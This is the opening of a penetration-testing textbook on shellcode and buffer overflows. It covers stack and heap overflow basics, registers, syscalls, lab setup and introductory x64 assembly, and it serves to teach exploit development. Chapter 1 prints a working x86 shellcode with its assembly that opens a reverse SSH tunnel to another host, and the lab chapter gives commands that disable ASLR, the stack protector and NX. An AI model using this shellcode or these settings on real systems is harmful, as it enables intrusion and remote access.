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Preface
This book is all about finding buffer overflow vulnerabilities, crafting your own shellcode
from scratch, learning the security mechanisms of the operating system, and exploit
development. You will understand how systems can be bypassed both at the operating
system and network levels with shellcode, assembly, and Metasploit. You will also learn to
write and modify 64-bit shellcode along with kernel-level shellcode concepts. Overall, this
book is a step-by-step guide that will take you from low-level security skills to covering
loops with exploit development and shellcode.

Who this book is for
This book is intended to be read by penetration testers, malware analysts, security
researchers, forensic practitioners, exploit developers, C language programmers, software
testers, and students in the security field.

What this book covers
Chapter 1, Introduction, discusses the concept of shellcode, buffer overflow, heap
corruption, and introduces the computer architecture.

Chapter 2, Lab Setup, teaches how to build a safe environment to test bad code and
introduces readers to the graphical interfaces of debuggers.

Chapter 3, Assembly Language in Linux, explains how to use the assembly language on
Linux to build shellcode.

Chapter 4, Reverse Engineering, shows how to use debuggers to perform reverse
engineering on code.

Chapter 5, Creating Shellcode, explains how to build a shellcode using the assembly
language and Metasploit.

Chapter 6, Buffer Overflow Attacks, provides a detailed understanding of buffer overflow
attacks on Windows and Linux.

Chapter 7, Exploit Development – Part 1, discusses how to perform fuzzing and finding the
return address.
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Chapter 8, Exploit Development – Part 2, teaches how to generate a proper shellcode and
how to inject a shellcode in an exploit.

Chapter 9, Real-World Scenarios – Part 1, introduces a real-world example of buffer overflow
attacks.

Chapter 10, Real-World Scenarios – Part 2, continues the previous chapter but is more
advanced.

Chapter 11, Real-World Scenarios – Part 3, gives another real-world scenario example but
with more techniques.

Chapter 12, Detection and Prevention, discusses the techniques and algorithms you need to
detect and prevent buffer overflow attacks.

To get the most out of this book
Readers should have a basic understanding of operating system internals (Windows and
Linux). Some knowledge of C is essential, and familiarity with Python would be helpful.

All addresses in this book are dependent on my machine and my operating system. So,
addresses may vary on your machine.

Download the example code files
You can download the example code files for this book from your account at
www.packtpub.com. If you purchased this book elsewhere, you can visit
www.packtpub.com/support and register to have the files emailed directly to you.

You can download the code files by following these steps:

Log in or register at www.packtpub.com.1.
Select the SUPPORT tab.2.
Click on Code Downloads & Errata.3.
Enter the name of the book in the Search box and follow the onscreen4.
instructions.

http://www.packtpub.com
http://www.packtpub.com/support
http://www.packtpub.com/support
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Once the file is downloaded, please make sure that you unzip or extract the folder using the
latest version of:

WinRAR/7-Zip for Windows
Zipeg/iZip/UnRarX for Mac
7-Zip/PeaZip for Linux

The code bundle for the book is also hosted on GitHub at https://github.com/
PacktPublishing/Penetration-Testing-with-Shellcode. We also have other code 
bundles from our rich catalog of books and videos available at https://github.com/
PacktPublishing/. Check them out!

Download the color images
We also provide a PDF file that has color images of the screenshots/diagrams used in this
book. You can download it from https://www.packtpub.com/sites/default/files/
downloads/PenetrationTestingwithShellcode_ColorImages.pdf.

Conventions used
There are a number of text conventions used throughout this book.

CodeInText: Indicates code words in text, database table names, folder names, filenames,
file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an
example: "Now the stack is back to normal and 0x1234 has moved to rsi."

A block of code is set as follows:

mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

When we wish to draw your attention to a particular part of a code block, the relevant lines
or items are set in bold:

mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi

https://github.com/PacktPublishing/Penetration-Testing-with-Shellcode
https://github.com/PacktPublishing/Penetration-Testing-with-Shellcode
https://github.com/PacktPublishing/Penetration-Testing-with-Shellcode
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Any command-line input or output is written as follows:

$ nasm -felf64 stack.nasm -o stack.o

Bold: Indicates a new term, an important word, or words that you see onscreen. For
example, words in menus or dialog boxes appear in the text like this. Here is an example:
"Select GNU GCC Compiler, click Set as default, and then click OK."

Warnings or important notes appear like this.

Tips and tricks appear like this.

Get in touch
Feedback from our readers is always welcome.

General feedback: Email feedback@packtpub.com and mention the book title in the
subject of your message. If you have questions about any aspect of this book, please email
us at questions@packtpub.com.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes
do happen. If you have found a mistake in this book, we would be grateful if you would
report this to us. Please visit www.packtpub.com/submit-errata, selecting your book,
clicking on the Errata Submission Form link, and entering the details.

Piracy: If you come across any illegal copies of our works in any form on the Internet, we
would be grateful if you would provide us with the location address or website name.
Please contact us at copyright@packtpub.com with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in
and you are interested in either writing or contributing to a book, please visit
authors.packtpub.com.

http://www.packtpub.com/submit-errata
http://authors.packtpub.com/
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Reviews
Please leave a review. Once you have read and used this book, why not leave a review on
the site that you purchased it from? Potential readers can then see and use your unbiased
opinion to make purchase decisions, we at Packt can understand what you think about our
products, and our authors can see your feedback on their book. Thank you!

For more information about Packt, please visit packtpub.com.

Disclaimer
The information within this book is intended to be used only in an ethical manner. Do not
use any information from the book if you do not have written permission from the owner of
the equipment. If you perform illegal actions, you are likely to be arrested and prosecuted
to the full extent of the law. Packt Publishing does not take any responsibility if you misuse
any of the information contained within the book. The information herein must only be
used while testing environments with proper written authorizations from appropriate
persons responsible.

https://www.packtpub.com/


1
Introduction

Welcome to the first chapter of Penetration Testing with Shellcode. The term penetration
testing refers to attacking a system without causing any damage to the system. The motive
behind the attack is to find the system's flaws or vulnerabilities before attackers also find
ways to get inside the system. Hence, to measure how the system resists exposing sensitive
data, we try collecting as much data as possible and to perform penetration testing using
shellcode, we have to first understand overflow attacks.

Buffer overflow is one of the oldest and the most destructive vulnerabilities that could cause
critical damage to an operating system, remotely or locally. Basically, it's a serious problem
because certain functions don't know whether the input data can fit inside the preallocated
space or not. So, if we add more data than the allocated space can hold, then this will cause
overflow. With shellcode in the picture, we can change the execution flow of the same
application. The main core of that damage is the payload generated by shellcode. With the
spread of all kinds of software, even with a strong support like Microsoft, it could leave you
vulnerable to such attacks. Shellcode is exactly what we want to be executed after we
control the flow of execution, which we will talk about later in detail.

The topics covered in this chapter are as follows:

What is a stack?
What is a buffer?
What is stack overflow?
What is a heap?
What is heap corruption?
What is shellcode?
Introduction to computer architecture
What is a system call?
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Let's get started!

What is a stack?
A stack is an allocated space in the memory for each running application, used to hold all
the variables inside it. The operating system is responsible for creating a memory layout for
each running application, and within each memory layout, there is a stack. A stack is also
used to save the return address so that the code can go back to the calling function.

A stack uses Last Input First Output (LIFO) to store elements in it, and there is a stack
pointer (we will talk about it later), which points to the top of the stack and also uses push to
store an element at the top of stack and pop to extract the element from the top of the stack.

Let's look at the following example to understand this:

#include <stdio.h>
void function1()
{
    int y = 1;
    printf("This is function1\n");
}
void function2()
{
    int z = 2;
    printf("This is function2\n");
}
int main (int argc, char **argv[])
{
    int x = 10;
    printf("This is the main function\n");
    function1();
    printf("After calling function1\n");
    function2();
    printf("After calling function2");
    return 0;
}
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This is how the preceding code works:

The main function will start first, the variable x will be pushed into the stack, and
it will print out the sentence This is the main function, as shown here:

The main function will call function1 and before moving forward to
function1, the address of printf("After calling function1\n") will be
saved into the stack in order to continue the execution flow. After finishing
function1 by pushing variable y in the stack, it will execute printf("This is
function1\n"), as shown here:
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Then, go back to the main function again to execute printf("After calling
function1\n"), and push the address of printf("After calling
function2") in the stack, as shown:

Now control will move forward to execute function2 by pushing the variable z
into the stack and then execute printf("This is function2\n"), as shown
in the following diagram:

Then, go back to the main function to execute printf("After calling
function2") and exit.
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What is a buffer?
A buffer is a temporary section of the memory used to hold data, such as variables. A
buffer is only accessible or readable inside its function until it is declared global; when a
function ends, the buffer ends with it; and all programs have to deal with the buffer when
there is data storing or retrieving.

Let's look at the following line of code:

char buffer;

What does this section of C code mean? It tells the computer to allocate a temporary space
(buffer) with the size of char, which can hold up to 1 byte. You can use the sizeof
function to confirm the size of any data type:

#include <stdio.h>
#include <limits.h>
int main()
{
    printf("The size for char : %d \n", sizeof(char));
    return 0;
}

Of course, you can use the same code to get the size of other data types such as the int data
type.

What is stack overflow?
Stack overflow occurs when you put more data into a buffer than it can hold, which
causes the buffer to be filled up and overwrite neighboring places in memory with what's
left over of the input. This occurs when the function, which is responsible for copying data,
doesn't check if the input can fit inside the buffer or not, such as strcpy. We can use stack
overflow to change the execution flow of a code to another code using shellcode.

Here is an example:

#include <stdio.h>
#include <string.h>
// This function will copy the user's input into buffer
void copytobuffer(char* input)
{
   char buffer[15];
   strcpy (buffer,input);
}
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int main (int argc, char **argv[])
{
   copytobuffer(argv[1]);
   return 0;
}

The code works as follows:

In the copytobuffer function, it allocates a buffer with the size of 15 characters,
but this buffer can only hold 14 characters and a null-terminated string \0, which
indicates the end of the array

You don't have to end arrays with a null-terminated string; the compiler
will do it for you.

Then, there is strcpy, which takes input from the user and copies it into the
allocated buffer
In the main function, it calls copytobuffer and passes the argv argument to
copytobuffer

What really happens when the main function calls the copytobuffer function?

Here are the answers to this question:

The return address of the main function will be pushed in memory
The old base pointer (explained in the next section) will be saved in memory
A section of memory will be allocated as the buffer with a size of 15 bytes
or 15*8 bits:
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Now, we agreed that this buffer will take only 14 characters but the real problem is inside
the strcpy function, because it doesn't check for the size of the input, it just copies the
input into the allocated buffer.

Let's try now to compile and run this code with 14 characters:

Let's take a look at the stack:

As you can see, the program exited without error. Now, let's try it again but with 15
characters:
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And now let's take another look at the stack:

This is a stack overflow, and a segmentation fault is an indication that there is a violation in
memory; what happened is the user's input overflowed the allocated buffer, thus filling the
old base pointer and return address.

A segmentation fault means a violation in the user space memory, and
kernel panic means a violation in kernel-space.

What is a heap?
A heap is a portion of memory that is dynamically allocated by the application at runtime.
A heap can be allocated using the malloc or calloc function in C. A heap is different from
a stack as a heap remains until:

The program exits
It will be deleted using the free function

A heap is different from a stack because in a heap, a very large space can be allocated, and
there is no limit on the allocated spaces such as in a stack, where there is a limited space
depending on the operating system. You can also resize a heap using the realloc function,
but you can't resize the buffer. When using the heap, you must deallocate the heap after
finishing by using the free function, but not in the stack; also, the stack is faster than the
heap.
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Let's look at the following line of code:

 char* heap=malloc(15);

What does this section of C code mean?

It tells the computer to allocate a section in heap memory with a size of 15 bytes and it
should also hold 14 characters plus a null-terminated string \0.

What is heap corruption?
Heap corruption occurs when data copied or pushed into a heap is larger than the allocated
space. Let's look at a full heap example:

#include <string.h>
#include <stdlib.h>
void main(int argc, char** argv)
{
  // Start allocating the heap
    char* heap=malloc(15);
  // Copy the user's input into heap
    strcpy(heap, argv[1]);
  // Free the heap section
    free(heap);
}

In the first line of code, it allocates a heap with a size of 15 bytes using the malloc function;
in the second line of code, it copies the user's input into the heap using the strcpy function;
in the third line of code, it sets the heap free using the free function, back to the system.

Let's compile and run it:
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Now, let's try to crash it using a larger input:

This crash is a heap corruption, which forced the program to terminate.

Memory layout
This is the complete memory layout for a program that contains:

The .text section which is used to hold the program code
The .data section which is used to hold initialized data
The .BSS section which is used to hold uninitialized data
The heap section which is used to hold dynamically allocated variables
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The stack section which is used to hold non-dynamically allocated variables such
as buffers:

Look at how the heap and stack are growing; the stack grows from high
memory to low memory, whereas the heap grows from low memory to
high memory.

What is shellcode?
Shellcode is like a payload that is used in overflow exploitation written in machine
language. Hence, the shellcode is used to override the flow of execution after exploiting a
vulnerable process, such as making the victim's machine connect back to you to spawn a
shell.

The next example is a shellcode for Linux x86 SSH Remote port forwarding which executes
the ssh -R 9999:localhost:22 192.168.0.226 command:

"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36""
\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68""\
x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68""\x
2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75""\x7
3\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
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And this is the assembly language of that shellcode:

xor    %eax,%eax
push   %eax
pushl  $0x3632322e
pushl  $0x30302e38
pushl  $0x36312e32
pushw  $0x3931
movl   %esp,%esi
push   %eax
push   $0x32323a74
push   $0x736f686c
push   $0x61636f6c
push   $0x3a393939
pushw  $0x3930
movl   %esp,%ebp
push   %eax
pushw  $0x522d
movl   %esp,%edi
push   %eax
push   $0x6873732f
push   $0x6e69622f
push   $0x7273752f
movl   %esp,%ebx
push   %eax
push   %esi
push   %ebp
push   %edi
push   %ebx
movl   %esp,%ecx
mov    $0xb,%al
int    $0x80
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Computer architecture
Let's walk through some concepts in computer architecture (Intel x64). The major
components of a computer are shown in the following diagram:

Let's dive a little more inside the CPU. There are three parts to the CPU:

Arithmetic logic unit (ALU): This part is responsible for performing arithmetic
operations, such as addition and subtraction and logic operations, such as ADD
and XOR
Registers: This is what we really care about in this book, they are a superfast
memory for the CPU that we will discuss in the next section
Control unit (CU): This part is responsible for communications between the ALU
and the registers, and between the CPU itself and other devices

Registers
As we said earlier, registers are like a superfast memory for the CPU to store or retrieve 
data in processing, and they are divided into the following sections.
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General purpose registers
There are 16 general purpose registers in the Intel x64 processor:

The accumulator register (RAX) is used in arithmetic operations—RAX holds 64
bits, EAX holds 32 bits, AX holds 16 bits, AH holds 8 bits, and AL holds 8 bits:

The base register (RBX) is used as a pointer to data—RBX holds 64 bits, EBX
holds 32 bits, BX holds 16 bits, BH holds 8 bits, and BL holds 8 bits:

The counter register (RCX) is used in loops and shift operations—RCX holds 64
bits, ECX holds 32 bits, CX holds 16 bits, CH holds 8 bits, and CL holds 8 bits:
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The data register (RDX) is used as a data holder and in arithmetic
operations—RDX holds 64 bits, EDX holds 32 bits, DX holds 16 bits, DH holds 8
bits, and DL holds 8 bits:

The source index register (RSI) is used as a pointer to a source—RSI holds 64
bits, ESI holds 32 bits, DI holds 16 bits, and SIL holds 8 bits:

The destination index register (RDI) is used as a pointer to a destination—RDI
holds 64 bits, EDI holds 32 bits, DI holds 16 bits, and DIL hold 8 bits:

RSI and RDI are both used in stream operations and string manipulation.



Introduction Chapter 1

[ 21 ]

The stack pointer register (RSP) is used as a pointer to the top of the stack—RSP
holds 64 bits, ESP holds 32 bits, SP holds 16 bits, and SPL holds 8 bits:

The base pointer register (RBP) is used as a pointer to the base of the stack—RBP
holds 64 bits, EBP holds 32 bits, BP holds 16 bits, and BPL holds 8 bits:

The registers R8, R9, R10, R11, R12, R13, R14, and R15 have no specific
operations, but they do not have the same architecture as the previous registers,
such as high (H) value or low (L) value. However, they can be used as D for
double-word, W for word, or B for byte. Let's look at R8 for example:

Here, R8 holds 64 bits, R8D holds 32 bits, R8W holds 16 bits, and R8B holds 8 bits.
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R8 through R15 only exist in Intel x64 but not in x84.

Instruction pointer

The instruction pointer register or RIP is used to hold the next instruction.

Let's look at the following example first:

#include <stdio.h>
void printsomething()
{
    printf("Print something\n");
}
int main ()
{
    printsomething();
    printf("This is after print something function\n");
    return 0;
}

The first thing that will be executed is the main function, then it will call the
printsomething function. But before it calls the printsomething function, the program
needs to know exactly what the next operation is after executing the printsomething
function. So before calling printsomething, the next instruction that is printf("This is
after print something function\n") will have its location pushed into the RIP and
so on:

Here, RIP holds 64 bits, EIP holds 32 bit, and IP holds 16 bits.



Introduction Chapter 1

[ 23 ]

The following table sums up all the general-purpose registers:

64-bit register 32-bit register 16-bit register 8-bit register

RAX EAX AX AH,AL

RBX EBX BX BH, BL

RCX ECX CX CH, CL

RDX EDX DX DH,DL

RSI ESI SI SIL

RDI EDI DI DIL

RSP ESP SP SPL

RBP EBP BP BPL

R8 R8D R8W R8B

R9 R9D R9W R9B

R10 R10D R10W R10B

R11 R11D R11W R11B

R12 R12D R12W R12B

R13 R13D R13W R13B

R14 R14D R14W R14B

R15 R15D R15W R15B

Flags registers
These are registers that the computer uses to control the execution flow. For example, the
JMP operation in assembly will be executed based on the value of flag registers such as the
jump if zero (JZ) operation, meaning that the execution flow will be changed to another
flow if the zero flag contains 1. We are going to talk about the most common flags:
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The carry flag (CF) is set in arithmetic operations if there is a carry in addition or
borrow in subtraction
The parity flag (PF) is set if the number of set bits is even
The adjust flag (AF) is set in arithmetic operations if there is a carry of binary
code decimal
The zero flag (ZF) is set if the result is zero
The sign flag (SF) is set if the most significant bit is one (the number is negative)
The overflow flag (OF) is set in arithmetic operations if the result of the 
operation is too large to fit in a register

Segment registers
There are six segment registers:
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The code segment (CS) points to the starting address of the code segment in the
stack
The stack segment (SS) points to the starting address of the stack
The data segment (DS) points to the starting address of the data segment in the
stack
The extra segment (ES) points to extra data
The F segment (FS) points to extra data
The G segment (GS) points to extra data

The F in FS means F after E in ES; and, the G in GS means G after F.

Endianness
Endianness describes the sequence of allocating bytes in memory or registers, and there are
the following two types:

Big-endian means allocating bytes from left to right. Let's see how a word like
shell (which in hex 73 68 65 6c 6c) will be allocated in memory:

It pushed as you can read it from left to right.

Little-endian means allocating bytes from right to left. Let's look at the previous
example with little-endian:
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As you can see, it pushed backward llehs, and the most important thing is Intel
processors are little-endian.

System calls
There are two spaces under Linux in memory (RAM): user space and kernel space. Kernel
space is responsible for running kernel codes and system processes with full access to
memory, whereas user space is responsible for running user processes and applications
with restricted access to memory, and this separation is to protect the kernel space.

When a user wants to execute a code (in user space), then user space sends requests to the
kernel space using system calls, also known as syscalls through libraries such as glibc, and
then kernel space executes it on behalf of the user space using the fork-exec technique.

What are syscalls?
Syscalls are like requests that the user space uses to ask the kernel to execute on behalf of
the user space. For example, if a code wants to open a file then user space sends the open 
syscall to the kernel to open the file on behalf of the user space, or when a C code contains
the printf function, then the user space sends the write system call to the kernel:
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The fork-exec technique is how Linux runs processes or applications by
forking (copy) parent's resources located in memory using fork syscall,
then running the executable code using exec syscall.

Syscalls are like kernel API or how you are going to talk to the kernel itself to tell it to do
something for you.

User space is an isolated environment or a sandbox to protect the kernel
space and its resources.

So how can we get the full list of x64 kernel syscalls ? Actually it's easy, all syscalls are
located inside this file: /usr/include/x86_64-linux-gnu/asm/unistd_64.h:

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h

The following screenshot shows the output for the preceding command:

This is just a small portion of my kernel syscalls.
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Summary
In this chapter, we talked about some definitions in computer science, such as stack, buffer,
and heap, and also gave a quick hint about buffer overflow and heap corruption. Then, we
moved on to some definitions in computer architecture such as register, which is very
important in debugging and understanding how execution is done inside the processor.
Finally, we talked briefly about syscalls, which is also important in assembly language on
Linux (we will see that in the next part), and how the kernel executes codes on Linux. At
this point, we are ready to move on to another level, which is building an environment to
test overflow attacks, and also creating and injecting shellcodes.



2
Lab Setup

In this chapter, we are going to set up an isolated lab to use for the rest of this book. We will
see how to install tools such as Metasploit Framework in order to create shellcodes and
exploit development. We will also see how to install C language IDE and a compiler for
Microsoft Windows, before looking at the Python programming language for Windows and
Linux. Then, we will look at installing and getting familiar with debugger interfaces

Primarily, we will need three machines. The first is an attacker to simulate remote attacking,
and that will be Linux OS. Here, I prefer Kali Linux because it contains all the tools we will
need, along with which we will be going to install some extra tools. The second will be
Ubuntu 14.04 LTS x64, and the third will be Windows 7 x64.

The topics covered in this chapter are as follows:

Configuring the attacker machine
Configuring the Linux victim machine
Configuring the Windows victim machine
Configuring the Linux victim machine
Configuring Ubuntu for assembly x86
Networking
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You can use VMware, KVM, or VirtualBox, but make sure you select the
host-only network because we don't want to expose those vulnerable
machines to the outside world.

Configuring the attacker machine
As I said earlier, the attacker machine will be our main base and I prefer Kali Linux, but if
you are going to use another distribution, then you have to install the following packages:

First, we need to make sure that the C compiler is installed; use the gcc -v1.
command:
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If not, just install it using $ sudo apt-get install gcc (Debian distributions)2.
or $ sudo yum install gcc (Red Hat distributions). Accept and install gcc
with its dependencies.
Also, we are going to use the Python programming language in exploit3.
development. Python comes by default with most Linux distributions, and to
make sure that it's installed, just use $ python -V or just python. Then, the
Python interpreter will start (hit Ctrl + D to exit):

For text editors, I use nano as my CLI text editor and atom as my GUI text editor;4.
nano also comes with most Linux distributions.
If you want to install atom, go to https:/ / github. com/ atom/ atom/ releases/ ,5.
and you will find a beta release and stable release. Then, download the Atom
package for your system, .deb or .rpm and install it using $ sudo dpkg -i
package-name.deb (Debian distribution) or $ sudo rpm -i package-
name.rpm (Red Hat distribution).

https://github.com/atom/atom/releases/
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This is what the Atom interface looks like:

We are going to use the Metasploit Framework when creating shellcode and also in exploit
development. To install Metasploit, I recommend you use the all-in-one installer via
https://github.com/ rapid7/ metasploit- framework/ wiki/ Nightly- Installers. This
script is going to install Metasploit along with its dependencies (Ruby and PostgreSQL).
Look at the next example (installing Metasploit on ARM, but it's the same as Intel):

First, we fetch the installer using the curl command:1.

        $ curl https://raw.githubusercontent.com/rapid7/
        metasploit-omnibus/master/config/templates/
        metasploit-framework-wrappers/msfupdate.erb > msfinstall

Then, we give it an appropriate permission using the chmod command:2.

        $ chmod 755 msfinstall

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
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Then, start the installer:3.

        $ ./msfinstall

And now it will start downloading Metasploit Framework along with its4.
dependencies.
To create a database for Metasploit Framework, just use msfconsole and follow5.
the instructions:

        $ msfconsole

Then, it will set up a new database and Metasploit Framework starts:6.

As we are going to use assembly programming language, let's take a look at the7.
assembler (nasm) and the linker (ld).
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First, we need to install nasm by using $ sudo apt-get install8.
nasm (Debian distributions). For Red Hat distributions, according to NASM's
website, you first need to add this repository to your /etc/yum/yum.repos.d as
nasm.repo:

[nasm]
name=The Netwide Assembler
baseurl=http://www.nasm.us/pub/nasm/stable/linux/
enabled=1
gpgcheck=0

[nasm-testing]
name=The Netwide Assembler (release candidate builds)
baseurl=http://www.nasm.us/pub/nasm/testing/linux/
enabled=0
gpgcheck=0

[nasm-snapshot]
name=The Netwide Assembler (daily snapshot builds)
baseurl=http://www.nasm.us/pub/nasm/snapshots/latest/linux/
enabled=0
gpgcheck=0

Then, use $ sudo yum update && sudo yum install nasm to update and9.
install nasm and $ nasm -v to get NASM's version:

Use the command $ ld -v to get the linker's version:10.
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Configuring Linux victim machine
This machine will be Ubuntu 14.04 x64. You can download it from  http:/ /releases.
ubuntu.com/14.04/ . Also, we have to follow previous instructions for gcc, Python, and
nasm.

Now, let's install a very friendly GUI named edb-debugger. You can follow this
page, https://github. com/ eteran/ edb- debugger/ wiki/ Compiling- (Ubuntu) or follow the
next instruction.

First, install dependencies, using the following command:

$ sudo apt-get install cmake build-essential libboost-dev
libqt5xmlpatterns5-dev qtbase5-dev qt5-default libgraphviz-dev libqt5svg5-
dev git

Then, clone and compile Capstone 3.0.4, as follows:

$ git clone --depth=50 --branch=3.0.4
https://github.com/aquynh/capstone.git
$ pushd capstone
$ ./make.sh
$ sudo ./make.sh install
$ popd

Then, clone and compile edb-debugger, as follows:

$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make

http://releases.ubuntu.com/14.04/
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Then, start edb-debugger using the $ sudo ./edb command, which opens the following
window:
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As we can see, edb-debugger has the following four windows: 

The disassembler window converts the machine language into assembly
language
The Registers window contains all the current contents of all registers
The Data Dump window contains the memory dump for the current process
The Stack window contains the contents of the stack for the current process

Now to the final step. It's necessary to disable Address Space Layout
Randomization (ASLR) for learning purposes. It's a security mechanism in Linux, and we
will talk about it later.

Just execute the $ echo 0 | sudo tee
/proc/sys/kernel/randomize_va_space command.

Also, we are going to disable the stack protector and NX when using gcc when compiling is
done, using:

$ gcc -fno-stack-protector -z execstack

Configuring Windows victim machine
Here, we are going to configure a Windows machine as a victim machine, which is
Windows 7 x64.

First, we need to install C compiler and IDE, I suggest Code::Blocks, and to install it,
download the binary from http:/ / www. codeblocks. org/ downloads/ binaries.  Here, I'm
going to install codeblocks-16.01mingw-setup.exe (the latest version). Download and
install the mingw version.

http://www.codeblocks.org/downloads/binaries
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At the first boot of Code::Blocks, a window will pop up to configure the compiler. Select
GNU GCC Compiler, click Set as default, and then click OK:
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Then, the IDE interface will pop up:

Now we have a C compiler and IDE. Now, let's move to installing debuggers.
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First, we need Immunity Debugger for x86; download Immunity from https:/ /debugger.
immunityinc.com/ ID_ register. py. Fill this form in, download, and then install it using the
default settings, and it will ask you to confirm installing Python. After that we need to
install a plugin for a debugger named mona, created by the Corelan team, https:/ /www.
corelan.be. It's a wonderful plugin that will help us in exploit development. Download
the mona.py file from their GitHub repository, https:/ /github. com/ corelan/ mona, then
copy it to C:\Program Files (x86)\Immunity Inc\Immunity
Debugger\Immunit\PyCommands:

This is what the Immunity Debugger looks like, and it consists of four major windows,
exactly as explained in edb-debugger.
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Also, we now have Python, and to confirm, just navigate to C:\Python27\. Then, click on
Python, and the Python interpreter will pop up:

Now, let's install x64dbg. It's also a debugger for Windows x86 and also x64, but when it
comes to x86 Windows, there is nothing better than Immunity Debugger.

Go to https://sourceforge. net/ projects/ x64dbg/ files/ snapshots/ , then download the
latest version. Uncompress it and then navigate to /release to start x96dbg:  

Then, click x64dbg:
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Now we are looking at the x64dbg interface, which also contains four major windows,
exactly as explained in edb-debugger:

Configuring Ubuntu for assembly x86
This is not mandatory for this book, but has been included for if you want to try assembly
for x86. The machine used will be Ubuntu 14.04 x86, and you can download it from http:/ /
releases.ubuntu. com/ 14. 04/ .

We have to follow the previous instructions to install NASM, GCC, the text editor, and I'm
going to use GDB as my debugger.
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Networking
As we are going to run vulnerable applications for doing exploit research on our victim
machines and injecting shellcodes, we have to set up a secure network after configuring
each machine. This is done using a host-only network mode to make sure that all machines
are connected together, but that they will still be offline and not exposed to the outside
world.

If you are using VirtualBox, then go to Preferences | Network and set up Host-only
Networks:

Then, set up an IP range that doesn't conflict with your external IP, for example:

IP address: 192.168.100.1
Netmask: 255.255.255.0
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Then, you can activate the DHCP server from the DHCP Server tab.

You should see it in your ifconfig:

$ ifconfig vboxnet0

Then, activate this network (for example, vboxnet0) on your guest machine's adapter:
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If you are using VMware Workstation, go to Edit | Virtual Network Editor:

Also, you can make sure that the host-only network is up: 

$ ifconfig vmnet1
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Then, from the guest machine settings, go to Network Adapter, and select Host-only: A
private network shared with the host:

 

Summary
In this chapter, we went through installing three major operating systems: one to simulate
the attacker machine to try remote exploitation, the second was Ubuntu x64, and the third
was Windows 7 the last two operating systems being victims. Also, there was an extra
machine to try assembly x86.

Also, we went through disabling some security mechanisms in Linux, only for learning
purposes, then we went through network configuration.

In the next chapter, let's take a big step by learning assembly, which will enable us to write
our own shellcodes and make you really understand how a computer executes every
command. 



3
Assembly Language in Linux

In this chapter, we are going to talk about assembly language programming in Linux. We
will go through how to build our own code. An assembly language is a low-level
programming language. Low-level programming languages are machine-dependent
programming and are the simplest form that a computer understands. In assembly, you will
be dealing with computer architecture components such as registers and stack, unlike most
high-level programming languages such as Python or Java. Also, assembly is not a portable
language, which means each assembly programming language is specific to one hardware
or one computer architecture; for example, Intel has its own specific assembly language. We
are learning assembly not to build a sophisticated software but to build our own
customized shellcodes, so we will be going to make it very easy and simple.

I promise that, after this chapter, you will look at each program and process differently, and
you will be able to understand how computers really execute your instructions. Let's start!

Assembly language code structure
Here, we are not going to talk about the language structure but the code structure. Do you
remember memory layout?
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Let's take another look at it:

We are going to put our executable code in the .text section and our variables in
the .data section:



Assembly Language in Linux Chapter 3

[ 49 ]

Let's also have a closer look at the stack. The stack is LIFO, which means Last Input First
Output, so it's not random access, rather it uses push and pop operations. Push is to push
something into the top of the stack. Let's look at an example. Suppose that we have a stack
and it contains only 0x1234:

Now, let's push something into the stack using the assembly push 0x5678. This instruction
will push the value 0x5678 into the stack, and that will change the stack pointer to point to
0x5678:
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Now, if we want to get data out of the stack, we use a pop instruction, and it will extract the
last element pushed into the stack. So, taking the same stack layout, let's extract the last
element using pop rax, which will extract the value 0x5678 and move it to the RAX
register:

It's very simple!!

How are we going to code assembly on Linux x64? Actually, it's quite simple; do you
remember syscalls? This is how we are going to execute what we want by invoking system
commands. For example, if I want to exit a program then I have to use the exit syscall.

Firstly, this file, /usr/include/x86_64-linux-gnu/asm/unistd_64.h, contains all the
syscalls for Linux x64. Let's search for the exit syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep exit
#define __NR_exit 60
#define __NR_exit_group 231

The exit syscall has a syscall number 60.

Now, let's look at its arguments:

$ man 2 exit
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The following screenshot shows the output for the preceding command:

There is only one argument, that is, status, and it has the int data type to define the exit
status, such as zero status for no error:

void _exit(int status);

Now, let's see how we are going to use registers to invoke Linux x64 syscalls:
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We just put the syscall number in RAX, then the first argument in RDI, second argument
in RSI, and so on, as shown in the preceding screenshot.

Let's look at how we are going to invoke the exit syscall:

We just put 60, which is the exit syscall number in RAX, then we put 0 in RDI, which is
the exit status; yes, it's that simple!

Let's take a deeper look at the assembly code:

mov rax, 60
mov rdi, 0

The first line tells the processor to move the value 60 into rax, and in the second line it tells
the processor to move the value 0 into rdi.

As you can see, the general structure of one instruction is {Operation} {Destination},
{Source}.

Data types
Data types are important in assembly. We can use them to define a variable or when we
want to perform any operation on just a small portion of register or memory.
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The following table explains the data types in assembly based on length:

Name Directive Bytes Bits

Byte db 1 8

Word dw 2 16

Doubleword dd 4 32

Quadword dq 8 64

To fully understand, we are going to build a hello world program in assembly.

Hello world
OK, let's start to go deeper. We are going to build a hello world, which is undoubtedly the
basic building block for any programmer.

First, we need to understand what we really need, which is a syscall to print hello world
on the screen. To do this, let's search for the write syscall:

$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep write

#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311
#define __NR_pwritev2 328

We can see that the write syscall is number 1; now let's look at its arguments:

$ man 2 write
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The following screenshot shows the output for the preceding command:

The write syscall has three arguments; the first one is the file descriptor:

ssize_t write(int fd, const void *buf, size_t count);

The file descriptor has three modes:

Integer value Name Alias for stdio.h

0 Standard input stdin

1 Standard output stdout

2 Standard error stderr

As we are going to print hello world on the screen, we are going to choose standard
output 1, the second argument, which is a pointer to the string we want to print; the third
argument is the count of the string, including spaces.
